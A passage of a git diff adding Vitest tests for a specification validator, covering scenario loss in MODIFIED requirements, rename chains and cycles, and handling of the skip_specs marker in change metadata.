Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n#### Scenario: New scenario\n- **WHEN** it errors\n- **THEN** the error is reported\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(true); + expect(await archiveError(changeDir)).toBeNull(); + }); + + it('stays silent when the requirement header is not in the main spec (sister change in flight)', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported` + ) + ); + const changeDir = await writeChange( + 'cross-change', + 'widgets', + `## MODIFIED Requirements\n\n### Requirement: Widget colour\nThe system SHALL report the widget colour.\n\n#### Scenario: Colour queried\n- **WHEN** queried\n- **THEN** the colour is reported\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(true); + }); + + it('stays silent when the main spec file does not exist yet', async () => { + const changeDir = await writeChange( + 'greenfield', + 'gadgets', + `## MODIFIED Requirements\n\n### Requirement: Gadget state\nThe system SHALL report the gadget state.\n\n#### Scenario: Gadget queried\n- **WHEN** queried\n- **THEN** the state is reported\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(true); + }); + + it('ignores a #### Scenario: sample inside a fenced block in the main spec', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Real scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n\`\`\`markdown\n#### Scenario: Sample inside a fence\n- **WHEN** copied\n- **THEN** it is only an example\n\`\`\`` + ) + ); + const changeDir = await writeChange( + 'fenced-sample', + 'widgets', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state clearly.\n\n#### Scenario: Real scenario\n- **WHEN** queried\n- **THEN** the state is reported\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(true); + expect(await archiveError(changeDir)).toBeNull(); + }); + + it('resolves nested capability layouts against the matching main spec', async () => { + await writeMainSpec( + 'platform/session', + mainSpec( + `### Requirement: Session start\nThe system SHALL start a session.\n\n#### Scenario: Started\n- **WHEN** requested\n- **THEN** a session starts\n\n#### Scenario: Resumed\n- **WHEN** resumed\n- **THEN** the session continues` + ) + ); + const changeDir = await writeChange( + 'nested-drop', + 'platform/session', + `## MODIFIED Requirements\n\n### Requirement: Session start\nThe system SHALL start a session quickly.\n\n#### Scenario: Started\n- **WHEN** requested\n- **THEN** a session starts\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + const issue = report.issues.find((i) => i.message.includes('omits scenario(s)')); + expect(issue?.path).toBe('platform/session/spec.md'); + expect(issue?.message).toContain('"Resumed"'); + }); + + it('checks a MODIFIED that names the new header of a rename in the same delta', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Old name\nThe system SHALL do the old thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n\n#### Scenario: Dropped\n- **WHEN** retried\n- **THEN** it still works` + ) + ); + const changeDir = await writeChange( + 'rename-then-modify', + 'widgets', + `## RENAMED Requirements\n\n- FROM: \`### Requirement: Old name\`\n- TO: \`### Requirement: New name\`\n\n## MODIFIED Requirements\n\n### Requirement: New name\nThe system SHALL do the new thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.message).toContain('"Dropped"'); + expect(await archiveError(changeDir)).toContain('Dropped'); + }); + + it('follows a chain of renames back to the block the main spec still holds', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Alpha\nThe system SHALL do the alpha thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n\n#### Scenario: Dropped\n- **WHEN** retried\n- **THEN** it still works` + ) + ); + const changeDir = await writeChange( + 'rename-chain', + 'widgets', + `## RENAMED Requirements\n\n- FROM: \`### Requirement: Alpha\`\n- TO: \`### Requirement: Bravo\`\n- FROM: \`### Requirement: Bravo\`\n- TO: \`### Requirement: Charlie\`\n\n## MODIFIED Requirements\n\n### Requirement: Charlie\nThe system SHALL do the charlie thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.message).toContain('"Dropped"'); + expect(await archiveError(changeDir)).toContain('Dropped'); + }); + + it('reads a CRLF main spec the same way archive does', async () => { + await writeMainSpec( + 'widgets', + mainSpec(TWO_SCENARIO_REQUIREMENT).replace(/\n/g, '\r\n') + ); + const changeDir = await writeChange( + 'crlf-drop', + 'widgets', + `## MODIFIED Requirements\r\n\r\n### Requirement: Widget state\r\nThe system SHALL report the widget state.\r\n\r\n#### Scenario: Existing scenario\r\n- **WHEN** queried\r\n- **THEN** the state is reported\r\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.message).toContain('"Second scenario"'); + expect(await archiveError(changeDir)).toContain('Second scenario'); + }); + + it('runs no main-spec check when the caller passes no main specs directory', async () => { + await writeMainSpec( + 'widgets', + mainSpec(TWO_SCENARIO_REQUIREMENT) + ); + const changeDir = await writeChange( + 'no-root', + 'widgets', + DELTA_KEEPING_ONE + ); + + const report = await new Validator(true).validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(true); + }); + + it('fails the change in the default (non-strict) mode too', async () => { + // --strict is opt-in, so the shipped default is the mode that matters most. + await writeMainSpec('widgets', mainSpec(TWO_SCENARIO_REQUIREMENT)); + const changeDir = await writeChange('non-strict', 'widgets', DELTA_KEEPING_ONE); + + const report = await new Validator(false).validateChangeDeltaSpecs(changeDir, { mainSpecsDir }); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.level).toBe('ERROR'); + }); + + it('terminates on a rename cycle instead of walking it forever', async () => { + // Two guards keep the rename walk out of a cycle (the rename-away skip and + // the visited set). A hang here is unrecoverable — it blocks the event loop, + // so no test timeout can interrupt it — which is why the input is pinned. + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Untouched\nThe system SHALL do the untouched thing.\n\n#### Scenario: Only\n- **WHEN** invoked\n- **THEN** it works` + ) + ); + const changeDir = await writeChange( + 'rename-cycle', + 'widgets', + `## RENAMED Requirements\n\n- FROM: \`### Requirement: Alpha\`\n- TO: \`### Requirement: Bravo\`\n- FROM: \`### Requirement: Bravo\`\n- TO: \`### Requirement: Alpha\`\n\n## MODIFIED Requirements\n\n### Requirement: Alpha\nThe system SHALL do the alpha thing.\n\n#### Scenario: Only\n- **WHEN** invoked\n- **THEN** it works\n` + ); + + const report = await validate(changeDir); + + expect(report).toBeDefined(); + expect(lossIssue(report)).toBeUndefined(); + }); + + it('ignores a fenced scenario sample inside the MODIFIED block itself', async () => { + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n#### Scenario: Second scenario\n- **WHEN** idle\n- **THEN** idle is reported` + ) + ); + // The delta quotes "Second scenario" inside a fence; a fenced sample is not + // a scenario, so it must not satisfy the requirement to carry it over. + const changeDir = await writeChange( + 'fenced-in-delta', + 'widgets', + `## MODIFIED Requirements\n\n### Requirement: Widget state\nThe system SHALL report the widget state.\n\n#### Scenario: Existing scenario\n- **WHEN** queried\n- **THEN** the state is reported\n\n\`\`\`markdown\n#### Scenario: Second scenario\n- **WHEN** idle\n- **THEN** idle is reported\n\`\`\`\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)?.message).toContain('"Second scenario"'); + expect(await archiveError(changeDir)).toContain('Second scenario'); + }); + + it('says so when the main spec exists but cannot be read', async () => { + // A directory where spec.md belongs reads as EISDIR: not absent, and archive + // aborts on it, so reporting beats calling the change valid. + await fs.mkdir(path.join(mainSpecsDir, 'widgets', 'spec.md'), { recursive: true }); + const changeDir = await writeChange('unreadable-main-spec', 'widgets', DELTA_KEEPING_ONE); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + const issue = report.issues.find((i) => i.message.includes('Could not read')); + expect(issue?.level).toBe('ERROR'); + expect(issue?.message).toContain('widgets/spec.md'); + expect(issue?.message).toContain('EISDIR'); + expect(await archiveError(changeDir)).not.toBeNull(); + }); + + it('stays silent on a read error that says nothing about the file', async () => { + // A resource error (EMFILE and friends) means the process is busy, not that + // the change is wrong - `validate --all` reads six changes at once, so it + // must not turn one into a verdict. + await writeMainSpec('widgets', mainSpec(TWO_SCENARIO_REQUIREMENT)); + const changeDir = await writeChange('transient-read-error', 'widgets', DELTA_KEEPING_ONE); + // Only the main spec read fails: the delta must still be read, or the check + // never runs and the test proves nothing. + const mainSpecFile = path.join(mainSpecsDir, 'widgets', 'spec.md'); + const readFile = fs.readFile; + const spy = vi.spyOn(fs, 'readFile').mockImplementation(async (file, ...rest) => { + if (String(file) === mainSpecFile) { + throw Object.assign(new Error('EMFILE: too many open files'), { code: 'EMFILE' }); + } + return (readFile as unknown as typeof fs.readFile)(file, ...(rest as [])); + }); + + try { + const report = await validate(changeDir); + expect(spy.mock.calls.some(([file]) => String(file) === mainSpecFile)).toBe(true); + expect(report.issues.some((i) => i.message.includes('Could not read'))).toBe(false); + } finally { + spy.mockRestore(); + } + }); + + it('does not name scenarios for a MODIFIED the same delta renames away', async () => { + // The block this MODIFIED would land on is not the one it names, so any + // scenario reported here would send the author after the wrong requirement. + // The contradiction itself is still reported by the RENAMED/MODIFIED check. + await writeMainSpec( + 'widgets', + mainSpec( + `### Requirement: Old name\nThe system SHALL do the old thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n\n#### Scenario: Dropped\n- **WHEN** retried\n- **THEN** it still works` + ) + ); + const changeDir = await writeChange( + 'modifies-renamed-away', + 'widgets', + `## RENAMED Requirements\n\n- FROM: \`### Requirement: Old name\`\n- TO: \`### Requirement: New name\`\n\n## MODIFIED Requirements\n\n### Requirement: Old name\nThe system SHALL do the old thing.\n\n#### Scenario: Kept\n- **WHEN** invoked\n- **THEN** it works\n` + ); + + const report = await validate(changeDir); + + expect(report.valid).toBe(false); + expect(lossIssue(report)).toBeUndefined(); + expect(report.issues.map((i) => i.message).join('\n')).toContain('MODIFIED references old name from RENAMED'); + }); +}); diff --git a/test/core/validation.skip-specs.test.ts b/test/core/validation.skip-specs.test.ts new file mode 100644 index 0000000000..c78707d99d --- /dev/null +++ b/test/core/validation.skip-specs.test.ts @@ -0,0 +1,453 @@ +import { describe, it, expect, beforeEach, afterEach } from 'vitest'; +import { promises as fs } from 'fs'; +import path from 'path'; +import { Validator } from '../../src/core/validation/validator.js'; + +const PROPOSAL = `# Test Change + +## Why +This is a sufficiently long explanation to pass the why length requirement for validation purposes. + +## What Changes +Pure internal refactor with no spec-level behavior change.`; + +const DELTA_SPEC = `## ADDED Requirements + +### Requirement: User can export data +The system SHALL allow users to export their data in CSV format. + +#### Scenario: Successful export +- **WHEN** user clicks "Export" +- **THEN** system downloads a CSV file +`; + +describe('Validator skip_specs handling', () => { + const testDir = path.join(process.cwd(), 'test-validation-skip-specs-tmp'); + + beforeEach(async () => { + await fs.mkdir(testDir, { recursive: true }); + }); + + afterEach(async () => { + await fs.rm(testDir, { recursive: true, force: true }); + }); + + it('rejects a zero-delta change without the marker', async () => { + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('Change must have at least one delta'); + expect(msg).toContain('set "skip_specs: true"'); + }); + + it('accepts a zero-delta change that declares skip_specs', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(true); + expect(report.issues.some(i => i.level === 'ERROR')).toBe(false); + const info = report.issues.find(i => i.level === 'INFO'); + expect(info?.message).toContain('skip_specs'); + }); + + it('rejects skip_specs combined with delta specs', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + const capDir = path.join(testDir, 'specs', 'data-export'); + await fs.mkdir(capDir, { recursive: true }); + await fs.writeFile(path.join(capDir, 'spec.md'), DELTA_SPEC); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + }); + + it('treats skip_specs plus a delta file with no parseable deltas as a conflict, not acceptance', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + const capDir = path.join(testDir, 'specs', 'data-export'); + await fs.mkdir(capDir, { recursive: true }); + await fs.writeFile(path.join(capDir, 'spec.md'), '# Notes without delta headers\n'); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const messages = report.issues.map(i => i.message).join('\n'); + expect(messages).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + expect(report.issues.some(i => i.level === 'INFO')).toBe(false); + }); + + it('treats skip_specs plus a root-level specs/spec.md as a conflict', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + await fs.mkdir(path.join(testDir, 'specs'), { recursive: true }); + await fs.writeFile(path.join(testDir, 'specs', 'spec.md'), DELTA_SPEC); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const messages = report.issues.map(i => i.message).join('\n'); + expect(messages).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + }); + + it('treats skip_specs plus a stray non-spec file under specs/ as a conflict', async () => { + // A stray file matches the artifact graph's specs/** glob (so specs would + // read as done, not skipped) while discoverSpecFiles ignores it - it must + // surface as a conflict rather than an accepted zero-delta change. + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + await fs.mkdir(path.join(testDir, 'specs'), { recursive: true }); + await fs.writeFile(path.join(testDir, 'specs', 'notes.md'), '# Stray notes\n'); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const messages = report.issues.map(i => i.message).join('\n'); + expect(messages).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + expect(report.issues.some(i => i.level === 'INFO')).toBe(false); + }); + + it('reports the marker when the metadata is not valid YAML', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n bad indentation: [' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const messages = report.issues.map(i => i.message).join('\n'); + expect(messages).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + expect(messages).toContain('not valid YAML'); + }); + + it('does not honor skip_specs when the metadata fails the shared schema', async () => { + // Adversarial case: the marker alone, without the required schema field. + // status/instructions reject this metadata, so validate must not accept it. + await fs.writeFile(path.join(testDir, '.openspec.yaml'), 'skip_specs: true\n'); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + expect(msg).toContain('Change must have at least one delta'); + }); + + it('does not honor skip_specs when the schema does not resolve', async () => { + // Adversarial case (review round 5): well-shaped metadata naming an + // unknown schema. status/instructions refuse to load it, so validate + // must not honor its marker either. + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: does-not-exist\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + expect(msg).toContain("unknown schema 'does-not-exist'"); + expect(msg).toContain('Change must have at least one delta'); + }); + + it('honors skip_specs when the marker names a project-local schema', async () => { + // The schema-resolution gate must use the same project root as + // status/instructions (derived from the change directory), or custom + // project-local schemas would be falsely rejected. + const changeDir = path.join(testDir, 'openspec', 'changes', 'refactor'); + await fs.mkdir(changeDir, { recursive: true }); + const schemaDir = path.join(testDir, 'openspec', 'schemas', 'custom-flow'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile( + path.join(schemaDir, 'schema.yaml'), + [ + 'name: custom-flow', + 'version: 1', + 'description: loadable project-local schema', + 'artifacts:', + ' - id: specs', + ' generates: "specs/**/*.md"', + ' description: delta specs', + ' template: specs.md', + ' requires: []', + ].join('\n') + ); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: custom-flow\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(true); + expect(report.issues.some(i => i.level === 'ERROR')).toBe(false); + }); + + it('does not honor skip_specs when the schema exists but does not parse', async () => { + // listSchemas only checks that schema.yaml exists; status/instructions + // fail one step later when resolveSchema parses it. Validate must not + // honor the marker on name existence alone. + const changeDir = path.join(testDir, 'openspec', 'changes', 'refactor'); + await fs.mkdir(changeDir, { recursive: true }); + const schemaDir = path.join(testDir, 'openspec', 'schemas', 'broken-flow'); + await fs.mkdir(schemaDir, { recursive: true }); + await fs.writeFile(path.join(schemaDir, 'schema.yaml'), '{broken yaml: ['); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: broken-flow\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + expect(msg).toContain('schema'); + }); + + it('does not honor skip_specs when the schema parses but fails schema validation', async () => { + const changeDir = path.join(testDir, 'openspec', 'changes', 'refactor'); + await fs.mkdir(changeDir, { recursive: true }); + const schemaDir = path.join(testDir, 'openspec', 'schemas', 'shapeless'); + await fs.mkdir(schemaDir, { recursive: true }); + // Valid YAML, but missing the required artifacts list. + await fs.writeFile( + path.join(schemaDir, 'schema.yaml'), + 'name: shapeless\nversion: 1\n' + ); + await fs.writeFile( + path.join(changeDir, '.openspec.yaml'), + 'schema: shapeless\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + }); + + it('rejects a schema name that only resolves via extension normalization', async () => { + // readChangeMetadata rejects 'spec-driven.yaml' (not a listSchemas + // member); resolveSchema alone would normalize the extension and accept + // it. The marker must side with readChangeMetadata. + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven.yaml\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain("unknown schema 'spec-driven.yaml'"); + }); + + it('an explicit skip_specs: false never drags metadata problems into validation', async () => { + // skip_specs: false is the opposite of setting the marker; an unrelated + // shape error in the same file must not produce a "skip_specs is set" + // message the user never earned. + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: false\ncreated: 123\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).not.toContain('skip_specs is set'); + expect(msg).toContain('Change must have at least one delta'); + }); + + it('counts a symlinked file under specs/ as marker-conflicting content', async () => { + // The artifact graph's globs follow symlinks, so a symlinked spec reads + // as existing content elsewhere in the CLI while archive would silently + // drop it - it contradicts the marker like any regular file. + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + const outside = path.join(testDir, 'outside.md'); + await fs.writeFile(outside, DELTA_SPEC); + await fs.mkdir(path.join(testDir, 'specs'), { recursive: true }); + try { + await fs.symlink(outside, path.join(testDir, 'specs', 'spec.md'), 'file'); + } catch { + return; // platform cannot create symlinks (Windows without dev mode) + } + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + }); + + it('fails closed when the metadata file exists but cannot be read', async () => { + // .openspec.yaml as a directory: status/instructions error on it and the + // marker state cannot be determined, so validate must not degrade to the + // unmarked path (where archive would proceed without validation). + await fs.mkdir(path.join(testDir, '.openspec.yaml'), { recursive: true }); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + expect(msg).toContain('cannot be read'); + }); + + it('validateChange keeps the no-deltas error when the marker names an unknown schema', async () => { + await fs.writeFile(path.join(testDir, 'proposal.md'), PROPOSAL); + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: does-not-exist\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChange(path.join(testDir, 'proposal.md')); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('Change must have at least one delta'); + expect(msg).toContain("unknown schema 'does-not-exist'"); + }); + + it('validateChange keeps the no-deltas error when the marker metadata is invalid', async () => { + await fs.writeFile(path.join(testDir, 'proposal.md'), PROPOSAL); + await fs.writeFile(path.join(testDir, '.openspec.yaml'), 'skip_specs: true\n'); + + const validator = new Validator(); + const report = await validator.validateChange(path.join(testDir, 'proposal.md')); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('Change must have at least one delta'); + // Both validate paths explain why the marker was not honored. + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + }); + + it('still rejects zero deltas when metadata is malformed', async () => { + await fs.writeFile(path.join(testDir, '.openspec.yaml'), '{invalid yaml: ['); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('Change must have at least one delta'); + }); + + it('skip_specs must be exactly true - a truthy string is surfaced as unhonorable, not silently ignored', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: "yes"\n' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).toContain('skip_specs is set but .openspec.yaml is not valid change metadata'); + }); + + it('does not crash when specs is a regular file instead of a directory', async () => { + // Regression guard: the marker probe must not break the historical + // "unreadable specs dir degrades to no deltas" behavior for unmarked + // changes, and must fail closed (conflict) for marked ones. + await fs.writeFile(path.join(testDir, 'specs'), 'not a directory'); + + const validator = new Validator(); + const unmarked = await validator.validateChangeDeltaSpecs(testDir); + expect(unmarked.valid).toBe(false); + expect(unmarked.issues.map(i => i.message).join('\n')).toContain('Change must have at least one delta'); + + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + const marked = await validator.validateChangeDeltaSpecs(testDir); + expect(marked.valid).toBe(false); + expect(marked.issues.map(i => i.message).join('\n')).toContain('skip_specs is set in .openspec.yaml but spec files exist under specs/'); + }); + + it('ignores dot-files under specs/ just like every other code path', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + await fs.mkdir(path.join(testDir, 'specs'), { recursive: true }); + await fs.writeFile(path.join(testDir, 'specs', '.gitkeep'), ''); + await fs.writeFile(path.join(testDir, 'specs', '.DS_Store'), ''); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(true); + }); + + it('does not claim the marker was set when broken YAML only mentions it in a comment', async () => { + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + '# maybe add skip_specs later\nschema: spec-driven\n broken: [' + ); + + const validator = new Validator(); + const report = await validator.validateChangeDeltaSpecs(testDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).not.toContain('not valid change metadata'); + expect(msg).toContain('Change must have at least one delta'); + }); + + it('validateChange drops the no-deltas error when skip_specs is declared', async () => { + await fs.writeFile(path.join(testDir, 'proposal.md'), PROPOSAL); + await fs.writeFile( + path.join(testDir, '.openspec.yaml'), + 'schema: spec-driven\nskip_specs: true\n' + ); + + const validator = new Validator(); + const report = await validator.validateChange(path.join(testDir, 'proposal.md')); + + expect(report.valid).toBe(true); + const msg = report.issues.map(i => i.message).join('\n'); + expect(msg).not.toContain('Change must have at least one delta'); + }); +}); diff --git a/test/core/validation.test.ts b/test/core/validation.test.ts index 972815e516..284f6b5ae7 100644 --- a/test/core/validation.test.ts +++ b/test/core/validation.test.ts @@ -49,7 +49,11 @@ describe('Validation Schemas', () => { expect(result.success).toBe(true); }); - it('should reject requirement without SHALL or MUST', () => { + it('no longer enforces SHALL or MUST at the schema level (moved to the validator)', () => { + // SHALL/MUST body-keyword enforcement moved out of the Zod refine and into + // Validator.applySpecRules so it can recover the requirement header and + // emit the targeted body-keyword hint (#1156). The schema therefore accepts + // a body without the keyword; the validator (exercised below) reports it. const requirement = { text: 'The system provides user authentication', scenarios: [ @@ -58,12 +62,9 @@ describe('Validation Schemas', () => { }, ], }; - + const result = RequirementSchema.safeParse(requirement); - expect(result.success).toBe(false); - if (!result.success) { - expect(result.error.issues[0].message).toBe('Requirement must contain SHALL or MUST keyword'); - } + expect(result.success).toBe(true); }); it('should reject requirement without scenarios', () => { @@ -278,9 +279,11 @@ The system SHALL do B. const report = await new Validator().validateSpec(specPath); expect(report.valid).toBe(false); - expect( - report.issues.some(i => i.level === 'ERROR' && i.message.includes('Main spec contains delta header')) - ).toBe(true); + const deltaHeaderIssue = report.issues.find( + i => i.level === 'ERROR' && i.message.includes('Main spec contains delta header') + ); + expect(deltaHeaderIssue).toBeDefined(); + expect(deltaHeaderIssue?.message).toContain('specs/<capability-path>/spec.md'); expect( report.issues.some(i => i.level === 'ERROR' && i.message.includes('Requirement header "### Requirement: B" appears outside')) ).toBe(true); @@ -445,6 +448,63 @@ Then result`; }); describe('validateChangeDeltaSpecs with metadata', () => { + it('rejects a delta that both renames and removes the same requirement', async () => { + // Parity with archive: apply-time rejects this contradiction, so + // validate must flag it too instead of reporting the change as valid. + const changeDir = path.join(testDir, 'rename-remove-conflict'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## RENAMED Requirements + +- FROM: \`### Requirement: Old name\` +- TO: \`### Requirement: New name\` + +## REMOVED Requirements + +### Requirement: Old name`; + + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map((i) => i.message).join('\n'); + expect(msg).toContain('Requirement present in both RENAMED and REMOVED: "Old name"'); + }); + + it('rejects a case/whitespace variant of the renamed FROM header in REMOVED', async () => { + // The contradiction is the same when REMOVED spells the FROM header + // with different case or spacing - the folded identity must catch it. + const changeDir = path.join(testDir, 'rename-remove-case-conflict'); + const specsDir = path.join(changeDir, 'specs', 'test-spec'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `# Test Spec + +## RENAMED Requirements + +- FROM: \`### Requirement: Old Name\` +- TO: \`### Requirement: New Name\` + +## REMOVED Requirements + +### Requirement: old name`; + + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const msg = report.issues.map((i) => i.message).join('\n'); + expect(msg).toContain('Requirement present in both RENAMED and REMOVED: "Old Name"'); + expect(msg).toContain('(REMOVED spells it "old name")'); + }); + it('should validate requirement with metadata before SHALL/MUST text', async () => { const changeDir = path.join(testDir, 'test-change'); const specsDir = path.join(changeDir, 'specs', 'test-spec'); @@ -505,7 +565,87 @@ The system SHALL handle all errors gracefully. expect(report.summary.errors).toBe(0); }); - it('should fail when requirement text lacks SHALL/MUST', async () => { + it('should fail when a delta spec.md sits directly under specs/', async () => { + // #1385: the merge path only reads specs/<capability>/spec.md, so a + // root-level file used to validate clean and then archive with its + // requirements silently dropped. + const changeDir = path.join(testDir, 'test-change-root-delta'); + const specsDir = path.join(changeDir, 'specs'); + await fs.mkdir(specsDir, { recursive: true }); + + const deltaSpec = `## ADDED Requirements + +### Requirement: Request metrics +The system SHALL record request metrics. + +#### Scenario: Request is counted +- **WHEN** a request completes +- **THEN** a counter is incremented`; + + await fs.writeFile(path.join(specsDir, 'spec.md'), deltaSpec); + + const validator = new Validator(true); + const report = await validator.validateChangeDeltaSpecs(changeDir); + + expect(report.valid).toBe(false); + const rootDeltaIssue = report.issues.find( + i => i.message.includes('Delta spec found at specs/spec.md') + ); + expect(rootDeltaIssue).toBeDefined(); + expect(rootDeltaIssue?.message).toContain('specs/<capability-path>/spec.md'); + // The precise error replaces the generic one, which would otherwise say + // "No deltas 